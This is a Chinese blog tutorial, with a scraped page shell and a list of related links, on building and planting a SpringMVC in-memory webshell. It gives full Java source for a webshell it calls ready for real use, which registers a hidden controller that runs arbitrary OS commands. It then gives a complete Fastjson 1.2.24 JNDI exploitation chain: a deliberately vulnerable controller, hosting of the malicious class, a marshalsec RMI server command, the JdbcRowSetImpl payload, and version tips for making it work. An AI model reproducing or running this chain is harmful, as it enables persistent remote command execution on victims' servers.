当前位置: 首页 > news >正文

Java内存马系列 | SpringMVC内存马 - 下 | SpringMVC 内存马分析

文章目录

  • Java内存马\_SpringMVC 内存马
  • SpringMVC内存马demo(非实战使用)
    • SpringMVC内存马demo代码分析
    • 获取所有的requestMapping
  • Fastjson漏洞下打入SpringMVC内存马
    • 1、实战中使用的内存马,可直接使用
        • 1)代码如下
        • 2)简单测试下能不能使用
    • 2、准备一个fastjson反序列化漏洞环境
    • 3、搭建恶意站点
        • 1)将恶意的.java文件编译成.class文件(恶意类)
        • 2)搭建http服务,将.class文件放入网站根目录
    • 4、使用marshalsec启动rmi服务
        • 1)编译.jar文件
        • 2)执行命令,启动rmi服务
    • 5、发送payload,加载恶意类,打入内存马
    • 6、访问内存马,成功执行任意命令
    • SpringMVC内存马的实战打入总结
    • !!!闭坑指南!!!
      • 坑1:
      • 坑2:
  • 参考链接

Java内存马_SpringMVC 内存马

Servlet 能做内存马,Controller 当然也能做,不过 SpringMVC 可以在运行时动态添加 Controller 吗?答案是肯定的。在动态注册 Servlet 时,注册了两个东西,一个是 Servlet 的本身实现,一个 Servlet 与 URL 的映射 Servlet-Mapping,在注册 Controller 时,也同样需要注册两个东西,一个是 Controller,一个是 RequestMapping 映射。

SpringMVC内存马demo(非实战使用)

注意:以下内存马是在项目中启动加载的,不是实战时打入的内存马,这里只做分析原理使用

package com.leyilea.springmemshell;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;@RestController
public class TestEvilController {private String getRandomString() {String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";StringBuilder randomString = new StringBuilder();for (int i = 0; i < 8; i++) {int index = (int) (Math.random() * characters.length());randomString.append(characters.charAt(index));}return randomString.toString();}@RequestMapping("/inject")public String inject() throws Exception{String controllerName = "/" + getRandomString();PatternsRequestCondition urlPattern = new PatternsRequestCondition(controllerName);RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();RequestMappingInfo info = new RequestMappingInfo(urlPattern, condition, null, null, null, null, null);InjectedController injectedController = new InjectedController();Method method = InjectedController.class.getMethod("cmd");WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);requestMappingHandlerMapping.registerMapping(info, injectedController, method);return "[+] Inject successfully!<br>[+] shell url: http://localhost:8080" + controllerName + "?cmd=ipconfig";}@RestControllerpublic static class InjectedController {public InjectedController(){}public void cmd() throws Exception {HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();response.setCharacterEncoding("GBK");if (request.getParameter("cmd") != null) {boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");String output = s.hasNext() ? s.next() : "";response.getWriter().write(output);response.getWriter().flush();response.getWriter().close();}}}
}

SpringMVC内存马demo代码分析

其中最重要的是这段代码:

@RequestMapping("/inject")
public String inject() throws Exception{// 创建一个随机路径,作为请求路径String controllerName = "/" + getRandomString();// 实例化一个 RequestMappingInfo 对象,传入urlPattern、conditionPatternsRequestCondition urlPattern = new PatternsRequestCondition(controllerName);RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();RequestMappingInfo info = new RequestMappingInfo(urlPattern, condition, null, null, null, null, null);// 实例化一个 恶意类InjectedController对象InjectedController injectedController = new InjectedController();// 通过反射获取到 registerMapping 需要用到的 method 对象Method method = InjectedController.class.getMethod("cmd");// 获取 WebApplicationContext 对象WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);// 通过 context 获取到 requestMappingHandlerMappingRequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);// 通过 requestMappingHandlerMapping 的 registerMapping方法 注册 mapping// 需要3个参数//    org.springframework.web.servlet.mvc.method.RequestMappingInfo mapping,//    Object handler,//    java.lang.reflect.Method methodrequestMappingHandlerMapping.registerMapping(info, injectedController, method);return "[+] Inject successfully!<br>[+] shell url: http://localhost:8080" + controllerName + "?cmd=ipconfig";
}

核心就是通过requestMappingHandlerMapping.registerMapping“注册一个mapping”,有了这个“mapping”,我们就可以访问某个路径调用对应的类的方法。注册的时候需要用到3个参数:

  • org.springframework.web.servlet.mvc.method.RequestMappingInfo mapping,
  • Object handler,
  • java.lang.reflect.Method method

其中mapping是RequestMappingInfo对象,handler为注册的类,method为注册的类的方法。

获取所有的requestMapping

为了验证内存中是否多了恶意类的requestMapping,可以对比在注入之前和注入之后查看所有的requestMapping。

@Resource
private RequestMappingHandlerMapping handlerMapping;
@RequestMapping("getMappings")
public String getAllRequestMapping(){// 所有URL mappingStringBuilder result = new StringBuilder();Map<RequestMappingInfo, HandlerMethod> requestMappingInfoHandlerMethodMap = this.handlerMapping.getHandlerMethods();Optional.ofNullable(requestMappingInfoHandlerMethodMap).ifPresent(map -> {map.forEach((requestMappingInfo, handlerMethod) -> {System.out.println(requestMappingInfo.toString());System.out.println(handlerMethod.toString());Optional.ofNullable(requestMappingInfo.getPatternsCondition()).ifPresent(patternsRequestCondition -> {Optional.ofNullable(patternsRequestCondition.getPatterns()).ifPresent(set -> {set.forEach(s ->{// 解决rest方式 占位符问题 /home/get/{id} 替换为 /home/get/String url = s.replaceAll("\\{.*\\}", "");if(StringUtils.hasLength(url)){result.append(url + ":" + handlerMethod + "<br>");}});});});});});return result.toString();
}

注入之前的所有requestMappings:

注入之后的所有requestMappings:

Fastjson漏洞下打入SpringMVC内存马

1、实战中使用的内存马,可直接使用

其实就是上述说明原理的代码的“动态注册Controller和注册mapping映射”的代码放入到static静态块中,当实例化该恶意类时会自动执行static静态块中的代码,实现内存马的写入。

怎么实例化恶意类?比如反序列化漏洞,如fastjson反序化漏洞加载该恶意类。

1)代码如下

注意:对SpringBoot版本有要求!!坑!!不能太高。

EvilSpringMVC.java

package com.leyilea.springmvcshell;import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;public class EvilSpringMVC {static {// 1. 实例化一个 RequestMappingInfo对象PatternsRequestCondition urlPattern = new PatternsRequestCondition("/springMemeShell");RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();// 在内存中动态注册controllerRequestMappingInfo info = new RequestMappingInfo(urlPattern, condition,null,null,null,null,null);// 2. 实例化一个恶意类InjectedControllerInjectedController injectedController = new InjectedController();// 3. 通过反射获取到 method 对象Method method = null;try {method = InjectedController.class.getMethod("cmd");} catch (NoSuchMethodException e) {e.printStackTrace();}// 4. 注册mapping// 4.1 获取到WebApplicationContext对象WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);// 4.2 获取到 requestMappingHandlerMapping 对象RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);// 4.3 注册mappingrequestMappingHandlerMapping.registerMapping(info,injectedController,method);}public static class InjectedController{// 恶意代码类public InjectedController(){}// 执行系统命令的函数public void cmd() throws Exception{System.out.println("已进入cmd()");HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getResponse();response.setCharacterEncoding("GBK");if(request.getParameter("cmd")!=null){boolean isLinux = true;String osType = System.getProperty("os.name");if(osType!=null && osType.toLowerCase().contains("win")){isLinux = false;}String cmd = request.getParameter("cmd");String[] cmds = isLinux ? new String[]{"sh","-c",cmd} : new String[]{"cmd.exe","/c",cmd};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");String output = s.hasNext() ? s.next() : "";response.getWriter().write(output);response.getWriter().flush();response.getWriter().close();}}}}
2)简单测试下能不能使用

这里可以创建一个测试的类,在其中实例化恶意类,看是否能够打入内存马。如下:

测试类:

将恶意类也放入项目中。

启动SpringMVC项目,浏览器访问http://地址/testEvil执行测试类中的testEvil方法,浏览器页面显示如下:

这样就实例化了恶意类,进而执行恶意类中的static静态代码块,进而注册Controlle和mapping,打入内存马。

接下来访问内存马,看是否可以正常执行系统命令:(这里的路径为恶意代码中指定的/springMemeShell

可以看到,可以成功命令执行,也就是成功打入内存马。

这里只是测试,接下来尝试通过漏洞打入内存马。

2、准备一个fastjson反序列化漏洞环境

注意:环境需要是SpringMVC环境,因为打入的是SpringMVC内存马。

这里使用idea搭建一个简易的Web程序(SpringBoot搭建)

  • 当然也可以使用vulhub搭建靶场(vulhub不直观,所以还是自己写代码搭建)

FastjsonController代码如下:

package com.l3yiasec.fastjsonspringboot.controller;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import org.springframework.web.bind.annotation.*;@RestController
public class FastjsonController {@RequestMapping(value = "/test1",method = RequestMethod.POST)@ResponseBodypublic String test1(@RequestBody String  data){System.out.println(data);JSONObject jsonObject = JSON.parseObject(data);System.out.println(jsonObject);return jsonObject.toString();}
}

pom.xml中将fastjson修改为含有漏洞的版本,比如1.2.24

        <dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency>

启动服务,使用浏览器访问,效果如图(此页面就是spring的404页面)

访问路由,使用burpsuite抓包,将请求方式修改为POST

3、搭建恶意站点

1)将恶意的.java文件编译成.class文件(恶意类)

EvilSpringMVC.java文件代码略,看第1步。

编译命令如下:

javac  .\EvilSpringMVC.java

生成EvilSpringMVC.class文件,但是这里注意因为文件内有导入其他jar包,所以javac直接编译会报错。

这里使用idea编译,新建一个空的maven项目,将EvilSpringMVC.java放入到java目录下,使用mevan的编译工具编译成EvilSpringMVC.class文件。

注意1:java需使用1.8版本

注意2:.java文件中不要带有package ***;

注意3:需要将EvilSpringMVC.java放在java包下。

注意这里生产了两个.class文件,因为我们写的马中含有另外一个类。

2)搭建http服务,将.class文件放入网站根目录

搭建http服务可以使用很多方式,这里使用python快速搭建

python -m http.server 8888

此时访问该恶意站点服务器,可以访问当.class文件:

4、使用marshalsec启动rmi服务

marshalsec项目下载地址:https://github.com/mbechler/marshalsec

marshalsec-master.zip

这款神器,可以快速开启RMI和LDAP服务。

1)编译.jar文件

在marshalsec项目目录下(pom.xml所在目录)执行命令编译.jar文件

mvn clean package -DskipTests

生成的文件在target目录下,如下图

或者使用别人编译打包好的https://github.com/RandomRobbieBF/marshalsec-jar

marshalsec-0.0.3-SNAPSHOT-all.jar

2)执行命令,启动rmi服务
java  -cp  marshalsec-0.0.3-SNAPSHOT-all.jar  marshalsec.jndi.RMIRefServer  "http://IP地址:端口号/#class文件名"   RMI服务端口号

5、发送payload,加载恶意类,打入内存马

在没有发送payload之前,测试访问内存马地址,出现404:

payload如下:

Content-Type: application/json{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://RMI服务器IP:端口/exploit","autoCommit":true}
}

注意此处的exploit,为.class文件名(不带.class),即EvilSpringMVC

此时rmi服务器显示:

http服务器显示:

6、访问内存马,成功执行任意命令

SpringMVC内存马的实战打入总结

  • 整体漏洞利用+写入内存马的执行流程是:
    • 1)发送payload,即json数据,存在恶意rmi或ladp服务地址(fastjson漏洞)
    • 2)服务器收到payload之后,解析payload(fastjson功能),反序列化com.sun.rowset.JdbcRowSetImpl类,触发访问rmi或ldap服务的功能
    • 3)从rmi或ldap服务器请求了恶意的class文件,即内存马class文件,加载到受害者服务器中
    • 4)受害者服务器执行class文件代码,触发动态注册Controller等代码,在服务其中动态注册了恶意的Controller和映射
    • 5)攻击者访问内存马路径地址,带上相应参数,会触发SpringMVC的mapping映射,找到对应的恶意Controller的特定方法,进而执行系统命令。
  • 这里使用ldap服务打入也是可以的。

!!!闭坑指南!!!

坑1:

访问内存马时出现这个报错,是因为该内存马对SpringBoot版本有要求,不能太高,经测试SpringBoot版本需要小于2.6.0。

修改springboot版本可以在pom.xml文件中修改

坑2:

这里使用fastjson 1.2.24版本的反序列漏洞,jdk版本需要使用1.8_102才能成功。

参考链接

https://blog.csdn.net/MachineGunJoe/article/details/131555916

https://blog.csdn.net/weixin_46318447/article/details/139520192

https://www.freebuf.com/vuls/346315.html

Java内存马-SpringMVC篇_expected parsed requestpath in request attribute "-CSDN博客

相关文章:

  • 人工智能在行动:利用人工智能扩展您的显示和视频工作
  • AI学习指南深度学习篇-带动量的随机梯度下降法的基本原理
  • QT6聊天室项目 网络通信实现逻辑分析
  • 优化算法与正则化
  • Tomcat服务详解
  • 我与Linux的爱恋:yum和vim以及gcc的使用
  • A题 农村公交与异构无人机协同配送优化
  • Rust:Restful API 服务程序开发详述
  • 【ShuQiHere】从残差思想到 ResNet:深度学习的突破性创新
  • 【Python系列】只更新非空的字段
  • 【阅读文献】一个使用大语言模型的端到端语音概要
  • 无法用 FileZilla 传送文件的解决方案
  • AIGC简化文件管理:Python自动重命名Word和PDF文件
  • 配置Microsoft Exchange接受域的详细指南
  • 【数据结构】排序算法系列——序言(附源码+图解)
  • JS中 map, filter, some, every, forEach, for in, for of 用法总结
  • Django 博客开发教程 8 - 博客文章详情页
  • es6
  • JavaSE小实践1:Java爬取斗图网站的所有表情包
  • js面向对象
  • mysql innodb 索引使用指南
  • Mysql数据库的条件查询语句
  • node和express搭建代理服务器(源码)
  • vue2.0项目引入element-ui
  • Windows Containers 大冒险: 容器网络
  • 初探 Vue 生命周期和钩子函数
  • 码农张的Bug人生 - 初来乍到
  • 如何用Ubuntu和Xen来设置Kubernetes?
  • 适配mpvue平台的的微信小程序日历组件mpvue-calendar
  • 突破自己的技术思维
  • Java性能优化之JVM GC(垃圾回收机制)
  • 长三角G60科创走廊智能驾驶产业联盟揭牌成立,近80家企业助力智能驾驶行业发展 ...
  • 继 XDL 之后,阿里妈妈开源大规模分布式图表征学习框架 Euler ...
  • 资深实践篇 | 基于Kubernetes 1.61的Kubernetes Scheduler 调度详解 ...
  • ​【已解决】npm install​卡主不动的情况
  • ​LeetCode解法汇总1410. HTML 实体解析器
  • ‌U盘闪一下就没了?‌如何有效恢复数据
  • # include “ “ 和 # include < >两者的区别
  • # Maven错误Error executing Maven
  • #android不同版本废弃api,新api。
  • #Datawhale AI夏令营第4期#AIGC方向 文生图 Task2
  • #pragma once与条件编译
  • ( )的作用是将计算机中的信息传送给用户,计算机应用基础 吉大15春学期《计算机应用基础》在线作业二及答案...
  • (2015)JS ES6 必知的十个 特性
  • (aiohttp-asyncio-FFmpeg-Docker-SRS)实现异步摄像头转码服务器
  • (CPU/GPU)粒子继承贴图颜色发射
  • (大众金融)SQL server面试题(1)-总销售量最少的3个型号的车及其总销售量
  • (附源码)ssm基于jsp的在线点餐系统 毕业设计 111016
  • (回溯) LeetCode 78. 子集
  • (一)【Jmeter】JDK及Jmeter的安装部署及简单配置
  • (译) 理解 Elixir 中的宏 Macro, 第四部分:深入化
  • (转)3D模板阴影原理
  • (转)C#调用WebService 基础
  • ./和../以及/和~之间的区别
  • .360、.halo勒索病毒的最新威胁:如何恢复您的数据?